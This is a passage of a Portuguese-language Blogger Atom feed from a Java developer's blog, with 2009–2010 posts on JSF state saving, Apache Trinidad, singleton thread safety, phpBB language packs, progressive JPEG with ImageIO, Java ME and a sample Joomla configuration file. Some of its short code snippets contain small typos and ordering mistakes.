intermitente, digo isso como experiência propria que tive em uma aplicação).&lt;br /&gt;&lt;br /&gt;Pois bem, adicionando em sua aplicação a propriedade SERVER, esse trecho de código acima, será rejeitado sempre, não deixando que nenhuma execução problemática ocorra.&lt;br /&gt;&lt;br /&gt;Nota: Utilizei neste projeto myfaces1.1.7, tomahawk 1.9 e trinidad-api-1.0.11.jar&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-5031253193791495872?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/5031253193791495872/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=5031253193791495872&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5031253193791495872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5031253193791495872'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/01/javaxfacesstatesavingmethod-conheca-sua.html' title='javax.faces.STATE_SAVING_METHOD pode resolver problemas'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-9059887452221566427</id><published>2009-10-23T16:55:00.000-07:00</published><updated>2009-10-23T16:57:27.055-07:00</updated><title type='text'>ATOM É O MENOR PROCESSADOR FEITO PELA INTEL</title><content type='html'>Saiu no Informativo Geral: &lt;a href="http://www.informativogeral.com.br/?post=ATOM-O-MENOR-PROCESSADOR-DA-INTEL"&gt;http://www.informativogeral.com.br/?post=ATOM-O-MENOR-PROCESSADOR-DA-INTEL&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Confira esta matéria completa sobre este revolucionário processador. Com palavras dos próprios executivos da intel, responsáveis pela coordenação geral do seu desenvolvimento. Uma tecnologia de várias décadas que vem evoluindo com o passar dos anos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-9059887452221566427?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/9059887452221566427/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=9059887452221566427&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/9059887452221566427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/9059887452221566427'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/10/atom-e-o-menor-processador-feito-pela.html' title='ATOM É O MENOR PROCESSADOR FEITO PELA INTEL'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8978621543416027492</id><published>2009-10-20T09:37:00.001-07:00</published><updated>2009-10-20T09:49:46.527-07:00</updated><title type='text'>Apache Trinidad dispensa tutoriais alternativos</title><content type='html'>Leitores&lt;br /&gt;&lt;br /&gt;Gostaria de compartilhar com vocês alguns links que precisam ser visitados para o desenvolvimento Java com JSF. Todos os links foram retirados de http://myfaces.apache.org/trinidad/, tudo sobre o Trinidad está lá no apache.org, não existe tutorial mais completo do que estes:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sobre o Apache Trinidad: http://myfaces.apache.org/trinidad/index.html#Overview&lt;br /&gt;&lt;br /&gt;Lista de componentes: http://www.irian.at/trinidad-demo/faces/componentDemos.jspx&lt;br /&gt;&lt;br /&gt;Demonstração de componentes: http://www.irian.at/trinidad-demo/faces/demos/demos.jspx&lt;br /&gt;&lt;br /&gt;FAQ: http://myfaces.apache.org/trinidad/FAQ.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Existe a seção Guia do desenvolvedor com exemplos de código de como implementar, o que implementar e o que o componente faz:&lt;br /&gt;http://myfaces.apache.org/trinidad/devguide/index.html&lt;br /&gt; &lt;br /&gt;Exemplo de desenvolvimento de tabela (tr:table):&lt;br /&gt;http://myfaces.apache.org/trinidad/devguide/table.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bons estudos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8978621543416027492?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8978621543416027492/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8978621543416027492&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8978621543416027492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8978621543416027492'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/10/apache-trinidad-dispensa-tutoriais.html' title='Apache Trinidad dispensa tutoriais alternativos'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-4326183757030099855</id><published>2009-10-09T09:06:00.000-07:00</published><updated>2009-10-09T11:09:12.925-07:00</updated><title type='text'>Thread safety aprenda sua necessidade</title><content type='html'>É um conceito de programação de sistemas onde o reaproveitamento de instâncias que contenham determinados valores ou lógica é utilizado, deste modo é possível obter maior performance e fazer com que os sistemas possam de forma mais inteligente deixar de alocar recursos desnecessários à aplicação. &lt;br /&gt;&lt;br /&gt;Baseando-se no exemplo da linguagem de programação Java, a utilização de classes estáticas e obter uma instância compartilhada na aplicação faz com que um código padrão possa ser reutilizado em demais aplicações, vejamos abaixo um simples Hello World de uma classe onde os conceitos Thead Safe são aplicados:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;// MinhaClasse.java &lt;br /&gt;package pacotemeu; &lt;br /&gt;&lt;br /&gt;public class MinhaClasse { &lt;br /&gt;&lt;br /&gt;public static final MinhaClsse getInstance() { &lt;br /&gt;      return FooHolder.INSTANCE; &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;MinhaClasse () {&lt;br /&gt;} &lt;br /&gt;} &lt;br /&gt;// MinhaClasseHello.java &lt;br /&gt;&lt;br /&gt;package pacotemeu; &lt;br /&gt;&lt;br /&gt;class MinhaClasseHello { &lt;br /&gt;&lt;br /&gt;      public static final MinhaClasse INSTANCE = new MinhaClasse(); &lt;br /&gt;&lt;br /&gt;} &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;outro exemplo de helloworld:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;class Classe { private Classe(){}&lt;br /&gt;&lt;br /&gt;private static Classe _instance;&lt;br /&gt;&lt;br /&gt;static{ _instance = new Classe(); }&lt;br /&gt;&lt;br /&gt;} &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;No desenvolvimento de software, os detalhes sempre fazem a diferença no final do processo. A qualidade de seu software depende da qualidade do código que escreveu-o.&lt;br /&gt;&lt;br /&gt;Mais informações. &lt;span style="font-weight:bold;"&gt;Wiki: http://en.wikipedia.org/wiki/Thread_safety&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-4326183757030099855?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/4326183757030099855/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=4326183757030099855&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4326183757030099855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4326183757030099855'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/10/thread-safety-aprenda-sua-necessidade.html' title='Thread safety aprenda sua necessidade'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8480137799093862856</id><published>2009-10-08T11:16:00.000-07:00</published><updated>2009-10-08T11:19:02.230-07:00</updated><title type='text'>Persistindo dados com hibernate 3</title><content type='html'>Saiu no site JavaFree esta matéria que prevê orientá-los na configuração de persistencia de dados com hibernate 3. &lt;br /&gt;&lt;br /&gt;Ótima leitura no link abaixo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FONTE: &lt;a href="http://javafree.uol.com.br/artigo/875163/Hibernate-3-com-Spring-e-DAO-Generico.html" target="_blank"&gt;LER Hibernate-3-com-Spring-e-DAO-Generico&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8480137799093862856?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8480137799093862856/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8480137799093862856&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8480137799093862856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8480137799093862856'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/10/persistindo-dados-com-hibernate-3.html' title='Persistindo dados com hibernate 3'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-2079452434106210173</id><published>2009-08-12T12:41:00.000-07:00</published><updated>2009-08-12T13:06:21.512-07:00</updated><title type='text'>Phpbb configure pacote de linguagem</title><content type='html'>É muito simples, através do phpBB configurar um pacote de linguagem.&lt;br /&gt;&lt;br /&gt;Vejamos em simples passos como fazer.&lt;br /&gt;&lt;br /&gt;Exemplo, pacote português:&lt;br /&gt;&lt;br /&gt;Com seu phpBB já instalado (&lt;a target="_blank" href="http://www.suportephpbb.org/portal/index.php?option=com_content&amp;view=article&amp;id=53:instalando-o-phpbb3&amp;catid=42:tutorial-phpbb3&amp;Itemid=56"&gt; Clique aqui para ver como se faz&lt;/a&gt;), execute os passos abaixo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1) Inicialmente faça o download, você pode utilizar este link:&lt;br /&gt;http://superdownloads.uol.com.br/download/53/phpbb-portugues/&lt;br /&gt;&lt;br /&gt;2)descompacte e copie o pacote para a pasta language, com o nome correspondente (no caso pt_br, conforme o zip), dentro do seu diretorio do phpBB, em seu servidor de aplicações.&lt;br /&gt;&lt;br /&gt;3) entre no administrador do seu forum (aplicação localizada em /forum/adm/index.php, é claro, voce precisará estar logado como admin).&lt;br /&gt;&lt;br /&gt;3) Clique na aba SYSTEM depois language pack.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.acemprol.com/download/file.php?id=10161&amp;mode=view" target="_blank"&gt;&lt;img src="http://www.acemprol.com/download/file.php?id=10161&amp;mode=view" width="100px" height="100px" /&gt;&lt;/a&gt; &lt;br/&gt; &lt;br/&gt;&lt;br /&gt;&lt;br /&gt;4) Clique na opção install.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.acemprol.com/download/file.php?id=10162&amp;mode=view" target="_blank"&gt;&lt;img src="http://www.acemprol.com/download/file.php?id=10162&amp;mode=view" width="100px" height="100px" /&gt;&lt;/a&gt; &lt;br/&gt; &lt;br/&gt;&lt;br /&gt;&lt;br /&gt;5) Essa mensagem aparecerá.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.acemprol.com/download/file.php?id=10163&amp;mode=view" target="_blank"&gt;&lt;img src="http://www.acemprol.com/download/file.php?id=10163&amp;mode=view" width="100px" height="100px" /&gt;&lt;/a&gt; &lt;br/&gt; &lt;br/&gt;&lt;br /&gt;&lt;br /&gt;6) depois disso basta ir nas configurações do blog e definir o idioma principal (se portugues se ingles, criar regras, definições, etc).&lt;br /&gt;&lt;br /&gt;No próximo tópico vou ensinar como baixar um layout especial para seu blog e configura-lo, com alguns passos tanbém.&lt;br /&gt;&lt;br /&gt;Quer conferir o resultado? Acesse o fórum do Amarelinho:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.informativogeral.com.br/forum/"&gt;http://www.informativogeral.com.br/forum/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-2079452434106210173?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/2079452434106210173/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=2079452434106210173&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2079452434106210173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2079452434106210173'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/08/phpbb-configure-pacote-de-linguagem.html' title='Phpbb configure pacote de linguagem'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3645345514977633421</id><published>2009-07-30T13:45:00.001-07:00</published><updated>2009-07-30T13:49:45.362-07:00</updated><title type='text'>Gerando jpeg progressivo com imageio</title><content type='html'>Segue um exemplo de como fazer para gerar Jpeg progressivo com a api imageio:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;ImageWriteParam param = writer.getDefaultWriteParam();&lt;br /&gt;               &lt;br /&gt;                param.setCompressionMode( ImageWriteParam.MODE_EXPLICIT );&lt;br /&gt;               &lt;br /&gt;                param.setCompressionQuality( quality );&lt;br /&gt;               &lt;br /&gt;                param.setProgressiveMode( ImageWriteParam.MODE_DEFAULT );&lt;br /&gt;&lt;br /&gt; ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("JPEG").next();&lt;br /&gt;writer.setOutput( ImageIO.createImageOutputStream(out) );&lt;br /&gt;writer.write(null, new IIOImage(image, null, null), param);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para quem não sabe o que é um jpeg progressivo, leia uma explicação mais técnica e exata:&lt;br /&gt;&lt;br /&gt;http://www.faqs.org/faqs/jpeg-faq/part1/section-11.html&lt;br /&gt;&lt;br /&gt;Para leigos, podemos resumir:&lt;br /&gt;&lt;br /&gt;"É aquele 'efeitinho'?|?| que faz com que a imagem seja carregada toda, inicialmente 'sem foco' e depois irá ganhando nitidez", essa é uma explicação bem tosca, na verdade não há efeito nenhum, o que ocorre é que o browser recebe uma informação diferente quando encontra um jpeg progressivo para ser carregado, esse jpeg precisa SER GRAVADO de uma forma diferente, não há nada que Javascript ou css possa fazer (talvez com swf... gif animado..), mas ai ja perdemos o foco (jpeg). &lt;br /&gt;&lt;br /&gt;Abraços&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3645345514977633421?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3645345514977633421/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3645345514977633421&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3645345514977633421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3645345514977633421'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/07/gerando-jpeg-progressivo-com-imageio.html' title='Gerando jpeg progressivo com imageio'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6646792327034466166</id><published>2009-07-08T06:21:00.000-07:00</published><updated>2009-07-08T07:13:05.744-07:00</updated><title type='text'>Porque Java ME?</title><content type='html'>Saiu no site Java Móvel:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Java Plataform, Micro Edition, Java ME, ou ainda J2ME, é uma tecnologia que possibilita o desenvolvimento de software para sistemas e aplicações embarcadas, ou seja, toda aquela que roda em um dispositivo de propósito específico, desempenhando alguma tarefa que seja útil para o dispositivo.&lt;br /&gt;&lt;br /&gt;Das opções tecnológicas disponíveis no mercado, desde sistemas embarcados aos inúmeros jogos e aplicações de celulares, a plataforma Java ME destaca-se como sendo mais atrativa devido a sua portabilidade e acessibilidade, pois além de suas aplicações rodarem nas plataformas de várias empresas de telemóveis, com o Java ME é mais simples construir aplicações que não exigem alto custo, visto que muitos dispositivos de baixo custo suportam aplicativos desta plataforma, o que não acontece com as demais plataformas, como Symbian, Brew, Android, Iphone OS, que requerem implementações específicas utilizando APIs proprietárias.&lt;br /&gt;&lt;br /&gt;Mesmo sendo mais limitada que a plataforma Java SE, a Java Micro Edition possui recursos essenciais para o desenvolvimento de qualquer aplicação móvel e provê um ambiente robusto e flexível para aplicativos portados para dispositivos móveis. Possui uma gama de APIs e frameworks para otimização do desenvolvimento das aplicações, juntamente com ferramentas, emuladores e plug-ins que enriquecem o arsenal do desenvolvedor. A plataforma não para de evoluir desde sua criação e através do Java Community Process, onde diversos fabricantes formam uma comunidade para aprimoramento e definição de novas funcionalidades de forma padronizada, a linguagem se tornou um instrumento importante tanto para desenvolvedores quanto para os fabricantes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;FONTE &lt;span style="font-weight:bold;"&gt;http://www.javamovel.com/2009/07/por-que-java-me.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6646792327034466166?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6646792327034466166/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6646792327034466166&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6646792327034466166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6646792327034466166'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/07/porque-java-me.html' title='Porque Java ME?'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8528097610182398677</id><published>2009-07-08T05:18:00.000-07:00</published><updated>2009-07-08T05:19:00.934-07:00</updated><title type='text'>GEERAL DISPONIBILIZA SOFTWARE LIVRE PARA SEUS CLIENTES</title><content type='html'>Com a idéia de manter o suporte e prestar o serviço de manutenção/hospedagem para seus clientes, o Guia comercial Geeral.com.br disponibilizará até o próximo mês a ferramenta de CMS Joomla, que disponibilizará para cada um dos assinantes um site próprio, automaticamente gerenciado por esta ferramenta de software livre. &lt;br /&gt;&lt;br /&gt;Visando e respeitando todos os princípios do software livre, os fins comerciais serão atribuídos à suporte do Joomla, desenvolvimento de Layout e adaptação de melhorias.&lt;br /&gt;&lt;br /&gt;O Joomla disponibilizará aos clientes diversos recursos, como Galerias de foto, informações, notícias, artigos, etc.&lt;br /&gt;&lt;br /&gt;Aguardem por novidades.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8528097610182398677?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8528097610182398677/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8528097610182398677&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8528097610182398677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8528097610182398677'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/07/geeral-disponibiliza-software-livre.html' title='GEERAL DISPONIBILIZA SOFTWARE LIVRE PARA SEUS CLIENTES'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8004740853316623566</id><published>2009-07-07T17:58:00.001-07:00</published><updated>2009-07-07T17:58:47.424-07:00</updated><title type='text'>CONFIGURE O JOOMLA NO SEU SITE EM ALGUNS CLIQUES</title><content type='html'>Um CMS muito bom e completo é o Joomla, um software totalmente livre e com grandes qualidades. Muito divulgado no Fórum Internacional do Software livre em Porto Alegre, ele reúne uma série de benefícios para você desenvolvedor. Você não precisa nem ser um expert em programação, basta ler o manual, como de costume, segue o link do manual, &lt;a href="http://www.joomla.com.br/tutoriais-mainmenu-47.html" target="_blank"&gt;clique aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Se você continua neste post, é porque não tem o costume de ler o manual (muito obrigado pelo seu acesso), para você, vou escrever alguns passos básicos para a configuração:&lt;br /&gt;&lt;br /&gt;1 - Preparando o ambiente:&lt;br /&gt;&lt;br /&gt;Se você já possui um site com disponibilidade de hospedagem PHP e suporte à algum tipo de banco de dados (vamos supor e propor MySQL), ignore este passo.&lt;br /&gt;&lt;br /&gt;- Configure o EasyPHP na sua máquina, nele tudo que você precisa já estará disponível, se você não conhece o EasyPHP ainda não se desespere, ainda lhe resta a opção de ler um outro manual, &lt;a href="http://www.joomla.com.br/tutoriais-mainmenu-47/53-tutorial-para-iniciantes.html" target="_blank"&gt; Clique e leia este&lt;/a&gt;, mas vá só até o passo de configuração do EasyPHP, depois volte aqui, não quero perder seu acesso, mesmo sabendo que nesse link tudo esta mastigado, para você iniciante em Joomla.&lt;br /&gt;&lt;br /&gt;2 - Configurando o Joomla para trabalhar no seu ambiente:&lt;br /&gt;&lt;br /&gt;Hospede o conteudo baixado &lt;a href="http://www.joomla.com.br/downloads/doc_download/64-joomla-1512.html" target="_blank"&gt;neste link&lt;/a&gt; em alguma pasta no seu servidor.&lt;br /&gt;&lt;br /&gt;Depois abra o arquivo de configuração com o nome &lt;span style="font-weight:bold;"&gt;configuration.php-dist&lt;/span&gt; e configure os detalhes nos locais indicados:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;var $dbtype = 'mysql';     // Normally mysql&lt;br /&gt; var $host = 'localhost';    // This is normally //(COLOQUE AQUI O ENDEREÇO DA SUA MAQUINA LOCAL NO CASO O LOCALHOST OU 127.0.0.1 ou //então o ip/dns do seu servidor de hospedagem) set to localhost&lt;br /&gt; var $user = '';      // MySQL username&lt;br /&gt; var $password = '';      // MySQL password&lt;br /&gt; var $db = '';       // MySQL database name&lt;br /&gt; var $dbprefix = 'jos_';     // Do not change unless you need to!&lt;br /&gt;&lt;br /&gt; /* Server Settings */&lt;br /&gt; var $secret = 'FBVtggIk5lAzEU9H';   //Change this to something more secure&lt;br /&gt; var $gzip = '0';&lt;br /&gt; var $error_reporting = '-1';&lt;br /&gt; var $helpurl = 'http://help.joomla.org';&lt;br /&gt; var $xmlrpc_server = '1';&lt;br /&gt; var $ftp_host = '';&lt;br /&gt; var $ftp_port = '';&lt;br /&gt; var $ftp_user = '';&lt;br /&gt; var $ftp_pass = '';&lt;br /&gt; var $ftp_root = '';&lt;br /&gt; var $ftp_enable = '';&lt;br /&gt; var $tmp_path = '/tmp';&lt;br /&gt; var $log_path = '/var/logs';&lt;br /&gt; var $offset = '0';&lt;br /&gt; var $live_site = '';      // Optional, Full url to Joomla install.&lt;br /&gt; var $force_ssl = 0;  //Force areas of the site to be SSL ONLY.  0 = None, 1 = Administrator, 2 = Both Site and Administrator&lt;br /&gt;&lt;br /&gt; /* Session settings */&lt;br /&gt; var $lifetime = '15';     // Session time&lt;br /&gt; var $session_handler = 'database';&lt;br /&gt;&lt;br /&gt; /* Mail Settings */&lt;br /&gt; var $mailer = 'mail';&lt;br /&gt; var $mailfrom = '';&lt;br /&gt; var $fromname = '';&lt;br /&gt; var $sendmail = '/usr/sbin/sendmail';&lt;br /&gt; var $smtpauth = '0';&lt;br /&gt; var $smtpuser = '';&lt;br /&gt; var $smtppass = '';&lt;br /&gt; var $smtphost = 'localhost';&lt;br /&gt;&lt;br /&gt; /* Cache Settings */&lt;br /&gt; var $caching = '0';&lt;br /&gt; var $cachetime = '15';&lt;br /&gt; var $cache_handler = 'file';&lt;br /&gt;&lt;br /&gt; /* Debug Settings */&lt;br /&gt; var $debug      = '0';&lt;br /&gt; var $debug_db  = '0';&lt;br /&gt; var $debug_lang = '0';&lt;br /&gt;&lt;br /&gt; /* Meta Settings */&lt;br /&gt; var $MetaDesc = 'Joomla! - the dynamic portal engine and content management system';&lt;br /&gt; var $MetaKeys = 'joomla, Joomla';&lt;br /&gt; var $MetaTitle = '1';&lt;br /&gt; var $MetaAuthor = '1';&lt;br /&gt;&lt;br /&gt; /* SEO Settings */&lt;br /&gt; var $sef = '0';&lt;br /&gt; var $sef_rewrite = '0';&lt;br /&gt; var $sef_suffix = '';&lt;br /&gt;&lt;br /&gt; /* Feed Settings */&lt;br /&gt; var $feed_limit   = 10;&lt;br /&gt; var $feed_email   = 'author';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3 - Instalando:&lt;br /&gt;&lt;br /&gt;Instale o Joomla à partir do seu arquivo INSTALL.php, siga o passo à passo até o fim.&lt;br /&gt;&lt;br /&gt;Pronto, seu site esta preparado para trabalhar com o Joomla em alguns cliques.&lt;br /&gt;&lt;br /&gt;Agra sinta-se livre para acessar www.joomla.com.br e descobrir o universo de opções e facilidades que te espera.&lt;br /&gt;&lt;br /&gt;Se você é programador Java (Público padrão deste blog), não tenha pré-conceitos com o glorioso PHP, saiba que qualquer linguagem de programação pode se tornar muito poderosa se usada da forma adequada e com padrões bem definidos. E isso não falta ao Joomla.&lt;br /&gt;&lt;br /&gt;Seja feliz e faça parte do maravilhoso mundo do software livre. Quem sabe até você consiga parar de perder tempo acessando sites pouco construtivos e comece a ganhar dinheiro com sua excelente capacidade de ser um NERD assumido e interligado ao mundo TI.&lt;br /&gt;&lt;br /&gt;Dúvidas sobre o Joomla? Comente aqui ou pergunte para algum rapaz (ou moça) mais capacitado do que quem vos escreve no site recomendado acima.&lt;br /&gt;&lt;br /&gt;Um grande abraço.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8004740853316623566?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8004740853316623566/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8004740853316623566&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8004740853316623566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8004740853316623566'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/07/configure-o-joomla-no-seu-site-em.html' title='CONFIGURE O JOOMLA NO SEU SITE EM ALGUNS CLIQUES'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 